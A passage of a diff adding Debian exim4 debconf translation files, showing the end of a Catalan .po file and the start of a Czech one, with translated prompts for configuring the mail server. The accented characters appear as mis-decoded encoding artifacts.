fitxers README especÃfics de " +"Debian a /usr/share/doc/exim4-base." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Destinatari de correu de root i de postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"El correu per al «postmaster», «root» i altres comptes del sistema ha de " +"redirigir-se al compte d'usuari de l'administrador del sistema." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Si es deixa aquest valor en blanc, aquest correu es desarà en /var/mail/" +"mail, però això no es recomana." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Teniu en compte que el correu del compte postmaster s'hauria de llegir des " +"del sistema on es direcciona, més que no pas redireccionar-lo a fora. És per " +"això que com a mÃnim un usuari no hauria de redireccionar el correu fora de " +"l'ordinador. Es pot afegir un prefix «real-» per a forçar el lliurament " +"local." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Múltiples noms d'usuari s'han d'escriure separats per espais." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Adreça IP on es vincula les connexions d'entrada de l'SMTP:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Introduïu una llista, separada per punts i coma, d'adreces IP. El demoni de " +"l'Exim escoltarà a totes les adreces IP llistades acÃ." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"El camp en blanc farà que l'Exim es vincule al port SMTP de totes les " +"interfÃcies de xarxa disponibles." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Si aquest ordinador només rep correu directament de serveis locals (i no des " +"d'altres servidors), es suggereix prohibir les connexions externes a l'Exim " +"local. Aquests serveis inclouen programes de correu (MUA) que parlen només " +"amb localhost, o fetchmail. Si s'estableix 127.0.0.1 aquÃ, les connexions " +"externes seran impossibles, perquè s'inhabilitarà l'escolta en interfÃcies " +"de xarxa públiques." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "" +"Voleu mantenir el nombre mÃnim de consultes de DNS possibles (marcatge sota " +"demanda)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"En el seu mode normal d'execució, l'Exim realitza consultes de DNS a " +"l'arrencada i quan rep o envia missatges. Això és qüestions de registre i " +"permet mantenir un nombre petit de valors escrits al fitxer de configuració." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Si aquest ordinador no té accés permanent a un servei complet de resolució " +"DNS (com ara, si l'accés a Internet és una lÃnia que utilitza marcatge per " +"demanda) això pot tenir conseqüències no desitjades. Per exemple, iniciar " +"l'Exim o executar la cua (fins i tot amb cap missatge esperant) pot activar " +"un marcatge amb un cert cost." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Aquesta opció s'hauria de seleccionar si el sistema està utilitzant marcació " +"per demanda. Si sempre té accés a Internet, s'hauria de inhabilitar." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Configuració del servidor de correu" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Voleu dividir la configuració en fitxers petits?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Els paquets d'exim4 de Debian poden utilitzar la «configuració integrada», " +"un únic fitxer monolÃtic (/etc/exim4/exim4.conf.template) o la «configuració " +"partida», amb la qual la configuració de l'Exim es construeix a partir d'uns " +"50 fitxers petits a /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"La configuració integrada és millor per a modificacions grans i és en " +"general més estable, mentre que la configuració partida ofereix una manera " +"còmoda de fer canvis petits però és més frà gil i pot trencar-se si es " +"modifica sense cura." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"S'hi pot trobar una discussió més detallada sobre les configuracions " +"partides i integrades als fitxers README especÃfics de Debian a /usr/share/" +"doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Voleu amagar el nom de correu local al correu de sortida?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Les capçaleres del correu de sortida es poden reescriure per a fer que " +"semblen haver sigut generades en un sistema diferent. Si s'habilita aquesta " +"opció, es reescriuen «${mailname}», «localhost» i «${dc_other_hostnames}» en " +"els From, Reply-To, Sender i Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "format mbox a /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "format Maildir al directori personal" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Mètode de lliurament per al correu local:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim pot emmagatzemar el correu lliurat localment en formats diferents. El " +"més comuns són mbox i Maildir. mbox utilitza un sol fitxer per a tota la " +"carpeta de correu emmagatzemada a /var/mail/. Amb el format Maildir, cada " +"missatge s'emmagatzema a un fitxer separat en ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Teniu en compte que la majoria d'eines de correu a Debian assumeixen que el " +"mètode de lliurament de correu local és mbox a la seua configuració per " +"defecte." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Triar aquesta opció mourà aquests missatges al directori de gestió de " +#~ "cues d'exim4 (/var/spool/exim4/input/) on els gestionarà l'exim4." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "" +#~ "Deixar aquesta llista en blanc farà que l'Exim no faça lliuraments locals." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Recordeu que només funciona en un sentit, l'exim4 pot gestionar la gestió " +#~ "de cues de l'exim(v3) però no a la inversa." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Moveu els correus únicament si no us plantegeu tornar a l'exim(v3), en " +#~ "cas contrari no ho feu ara, però si manualment un cop convertida la " +#~ "configuració." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Aquests dominis són dominis dels quals esteu preparat per acceptar correu " +#~ "des de qualsevol punt d'internet. No hi feu referència als dominis locals." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Ja que heu triat amagar el nom del correu local en el correu de sortida, " +#~ "heu d'especificar el nom de domini a utilitzar pel correu dels usuaris " +#~ "locals; normalment és l'ordinador que utilitzeu per rebre correu." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "D'on llegiran el correu els usuaris?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "Ordinador que gestiona el correu de sortida d'aquest (smarthost):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "" +#~ "Introduïu el nom de l'ordinador principal a on s'envia el correu de " +#~ "sortida." + +#~ msgid "" +#~ "Mail for the \"postmaster\", \"root\", and other system accounts is " +#~ "usually redirected to the user account of the actual system " +#~ "administrator. If you leave this value empty, such mail will be saved in /" +#~ "var/mail/mail, which is not recommended. Note that postmaster's mail " +#~ "should be read on the system to which it is directed, rather than being " +#~ "forwarded elsewhere, so (at least one of) the users you choose should not " +#~ "redirect their mail off this machine. Use a \"real-\" prefix to force " +#~ "local delivery." +#~ msgstr "" +#~ "És habitual redirigir el correu per al «postmaster», «root» i altres " +#~ "comptes del sistema al compte d'usuari real de l'administrador del " +#~ "sistema. Si deixeu aquest valor buit, aquest correu es desarà en /var/" +#~ "mail/mail, cosa no recomanada. Teniu en compte que el correu del " +#~ "postmaster s'hauria de llegir en el sistema al qual es dirigeix, en " +#~ "comptes de reenviar-lo a qualsevol altre lloc, aixà (al menys un) els " +#~ "usuaris que trieu no haurien de redireccionar el seu correu fora d'aquest " +#~ "servidor. Utilitzeu un prefix «real-» per a forçar l'enviament local." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Habiliteu l'opció si utilitzeu marcatge sota demanda; en cas contrari " +#~ "inhabiliteu-la." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "Si no n'esteu segur no haurÃeu de dividir la configuració." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "conversió manual de la configuració personalitzada de l'Exim v3" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Voleu configurar l'Exim4 manualment?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Heu indicat que disposeu d'una configuració personalitzada de l'Exim 3. " +#~ "Per convertir-la a l'Exim 4 podeu utilitzar l'eina exim_convert4r4(8) " +#~ "després de la instal·lació. Vegeu el fitxer /usr/share/doc/exim4-base/" +#~ "examples/example.conf.gz i /usr/share/doc/exim4-base/README.Debian.gz" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Fins que el sistema de correu no estigui configurat no funcionarà " +#~ "correctament i no es podrà utilitzar." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "El \"nom del correu\" és la porció del nom de l'ordinador principal de " +#~ "l'adreça que es mostrarà als missatges dels correus i notÃcies (seguint " +#~ "el nom d'usuari i el sÃmbol @) si no s'amaga amb reescriptura." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Introduïu les xares d'ordinadors locals dels quals sou repetidor de " +#~ "correu.<" + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Això hauria d'incloure una llista de tots els ordinadors que ens " +#~ "utilitzaran com a «smart host»." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Utilitzeu dos punts per les adreces d'IPv6 (ex.5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Introduïu una llista d'adreces IP on es vincula separades per dos punts. " +#~ "En les adreces d'IPv6 haureu de posar dos punts dobles (ex. " +#~ "5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "S'està configurant l'Exim v4 (exim4-config)" + +#~ msgid "" +#~ "If you are configuring this system as 'satellite' this name won't appear " +#~ "on From: lines of mail, as rewriting is used." +#~ msgstr "" +#~ "Si configureu el sistema com a 'satellite', el nom no apareixerà a les " +#~ "lÃnies From: del correu perquè s'utilitza la reescriptura." + +#~ msgid "" +#~ "Obviously, any machines that use us as a smarthost have to be excluded " +#~ "from the relaying controls, as using us to relay mail for them is the " +#~ "whole point." +#~ msgstr "" +#~ "Qualsevol ordinador que utilitzi aquest com a smarthost s'ha d'excloure " +#~ "dels controls de repetició, ja que la repetició del seu correu és la " +#~ "única cosa important." + +#~ msgid "" +#~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected " +#~ "to one or more user accounts of the actual system administrators. The " +#~ "default is to set things up so that mail for \"postmaster\" and for " +#~ "various system accounts is redirected to \"root\", and mail for \"root\" " +#~ "is redirected to a real user. This can be changed by editing /etc/" +#~ "aliases." +#~ msgstr "" +#~ "Normalment el correu dels comptes \"postmaster\" i \"root\" es " +#~ "redirecciona a un o més comptes dels administradors del sistema. La " +#~ "configuració predeterminada és que redireccioni el compte \"postmaster\" " +#~ "i d'altres a \"root\", i el correu de \"root\" es redireccioni a l'usuari " +#~ "real. Es pot modificar editant el fitxer /etc/aliases." + +#~ msgid "" +#~ "System administrator mail goes to which user accounts? Enter one or more " +#~ "usernames separated by spaces or commas. Enter \"none\" if you do not " +#~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot " +#~ "run deliveries as root and will save the mail to /var/mail/mail Also, " +#~ "note that usernames should be lowercase!" +#~ msgstr "" +#~ "A quin compte d'usuari s'ha de redireccionar el correu de l'administrador " +#~ "del sistema? Introduïu un o més noms d'usuari separats per espais o " +#~ "comes. Introduïu \"non\" si no voleu redireccionar el correu. - No és " +#~ "recomanable. L'exim no pot repartir els missatges com a usuari i els " +#~ "desarà a /var/mail/mail. Recordeu que els noms d'usuari han d'estar en " +#~ "minúscules." diff --git a/debian/po/cs.po b/debian/po/cs.po new file mode 100644 index 0000000..5cb8a6a --- /dev/null +++ b/debian/po/cs.po @@ -0,0 +1,685 @@ +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-06-23 12:12+0200\n" +"Last-Translator: Miroslav Kure <kurem@debian.cz>\n" +"Language-Team: Czech <debian-l10n-czech@lists.debian.org>\n" +"Language: cs\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Odstranit nedoruÄenou poÅ¡tu z adresáře spool?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Ve spool adresáři Eximu /var/spool/exim4/input se nacházà dosud nedoruÄená " +"poÅ¡ta. OdstranÄ›nÃm Eximu způsobÃte, že zůstane nedoruÄená do doby, než Exim " +"znovu nainstalujete." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"OdmÃtnete-li tuto možnost, bude adresář s nedoruÄenou poÅ¡tou zachován, což " +"vám umožnà doruÄit zprávy pozdÄ›ji, až se rozhodnete Exim znovu nainstalovat." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "MÃsto tohoto balÃku použijte radÄ›ji exim4-config" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 má svou konfiguraci oddÄ›lenou do samostatného balÃku exim4-config. " +"Chcete-li zmÄ›nit nastavenà Eximu4, použijte pÅ™Ãkaz 'dpkg-reconfigure exim4-" +"config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "internetový poÄÃtaÄ; poÅ¡ta je pÅ™ijÃmána a doruÄována pÅ™Ãmo SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "zasÃlánà poÅ¡ty pÅ™es chytrý poÄÃtaÄ; pÅ™Ãjem pÅ™es SMTP nebo fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "zasÃlánà poÅ¡ty pÅ™es chytrý poÄÃtaÄ; žádná lokálnà poÅ¡ta" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "pouze lokálnà poÅ¡ta; poÄÃtaÄ nenà na sÃti" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "nynà nic nenastavovat" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Základnà model poÅ¡tovnÃho nastavenÃ:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Vyberte typ nastavenà poÅ¡tovnà serveru, který nejlépe odpovÃdá vaÅ¡im " +"požadavkům." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"PoÄÃtaÄe s dynamickými IP adresami (vÄetnÄ› systémů na vytáÄeném pÅ™ipojenÃ) " +"by mÄ›ly být nastaveny tak, že veÅ¡kerou odchozà poÅ¡tu posÃlajà jinému, " +"„chytrému“, poÄÃtaÄi (smarthost), který se postará o jejà doruÄenÃ. Mnoho " +"pÅ™Ãjemců se totiž chránà pÅ™ed spamem mimo jiné tÃm, že blokujà pÅ™Ãchozà " +"poÅ¡tu z dynamických IP adres." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Systém s dynamickou IP adresou buÄ může pÅ™ijÃmat svou vlastnà poÅ¡tu, nebo je " +"možné lokálnà doruÄenà úplnÄ› zakázat (s výjimkou poÅ¡ty pro uživatele root a " +"postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Opravdu nechcete nastavit poÅ¡tovnà systém?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Dokud poÅ¡tovnà systém nenastavÃte, bude porouchaný a nemůžete jej využÃvat. " +"Nastavenà samozÅ™ejmÄ› můžete provést pozdÄ›ji ruÄnÄ› nebo pÅ™Ãkazem „dpkg-" +"reconfigure exim4-config“ (obojà pod uživatelem root)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "PoÅ¡tovnà jméno poÄÃtaÄe:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"„PoÅ¡tovnà jméno“ je jméno domény, které se pÅ™ipojà za poÅ¡tovnà adresy bez " +"doménového jména. Adresa se tak stane plnÄ› kvalifikovaná." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Toto jméno budou využÃvat i jiné programy. MÄ›lo by to být jednoznaÄné plnÄ› " +"kvalifikované doménové jméno (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"NapÅ™Ãklad pokud má poÅ¡tovnà adresa tvar uzivatel@ukazkova.domena, tak je " +"správnou hodnotou ukazkova.domena." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Pokud zapnete pÅ™episovánÃ, toto jméno se neobjevà v odchozà poÅ¡tÄ› na řádcÃch " +"From:." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "DalÅ¡Ã mÃsta urÄenÃ, pro která akceptujeme poÅ¡tu:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Zadejte stÅ™ednÃky oddÄ›lený seznam domén, pro které skonÄà poÅ¡ta na tomto " +"poÄÃtaÄi. Tyto domény se běžnÄ› nazývajà „lokálnà domény“. K seznamu se vždy " +"pÅ™idá vlastnà jméno poÄÃtaÄe (${fqdn}) a 'localhost'. " + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"StandardnÄ› se se vÅ¡emi doménami zacházà stejnÄ›. NapÅ™Ãklad pokud a.priklad i " +"b.priklad jsou lokálnà domény, bude poÅ¡ta pro ucet@a.priklad i ucet@b." +"priklad doruÄena do stejné cÃlové destinace. Jestliže se majà různá doménová " +"jména chovat různÄ›, je nutné upravit konfiguraÄnà soubor ruÄnÄ›." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domény, pro které pÅ™edávat poÅ¡tu (relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Zadejte prosÃm stÅ™ednÃky oddÄ›lený seznam domén, pro které bude tento systém " +"pÅ™edávat poÅ¡tu (relay), napÅ™Ãklad pokud systém sloužà jako jako záložnà MX, " +"nebo poÅ¡tovnà brána. To znamená, že pro uvedené domény bude tento systém " +"pÅ™ijÃmat poÅ¡tu odkudkoliv z Internetu a bude ji doruÄovat podle pravidel pro " +"mÃstnà doruÄovánà poÅ¡ty." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "NeuvádÄ›jte zde lokálnà domény. Můžete použÃt i zástupné znaky." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "PoÄÃtaÄe, pro které pÅ™edávat poÅ¡tu (relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Zadejte prosÃm stÅ™ednÃky oddÄ›lený seznam rozsahů IP adres, pro které bude " +"tento systém pÅ™edávat poÅ¡tu (relay) a vlastnÄ› jim bude plnit úlohu chytrého " +"poÄÃtaÄe (smarthost)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"MÄ›li byste použÃt obvyklý formát adresa/prefix (napÅ™. 194.222.242.0/24 nebo " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Jestliže tento systém nemá sloužit jako smarthost, ponechte seznam prázdný." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Viditelné doménové jméno pro lokálnà uživatele:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Protože je zapnuto skrývánà lokálnÃho jména v odchozà poÅ¡tÄ›, musÃte zadat " +"doménové jméno, které má systém použÃt jako doménovou Äást pro adresu " +"odesilatele. (Vztahuje se na poÅ¡tu posÃlanou od lokálnÃch uživatelů.)" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Jméno nebo IP adresa chytrého poÄÃtaÄe (smarthost):" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Zadejte prosÃm jméno nebo IP adresu poÅ¡tovnÃho serveru, který bude tento " +"systém využÃvat pro odesÃlánà odchozà poÅ¡ty (smarthost). Pokud umà zvolený " +"chytrý poÄÃtaÄ pÅ™ijÃmat poÅ¡tu pouze na jiném portu než TCP/25, pÅ™ipojte " +"nakonec dvÄ› dvojteÄky a ÄÃslo portu (napÅ™Ãklad smarthost.priklad::587 nebo " +"192.168.254.254::2525). U adres IPv6 musÃte dvojteÄky zdvojit." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" 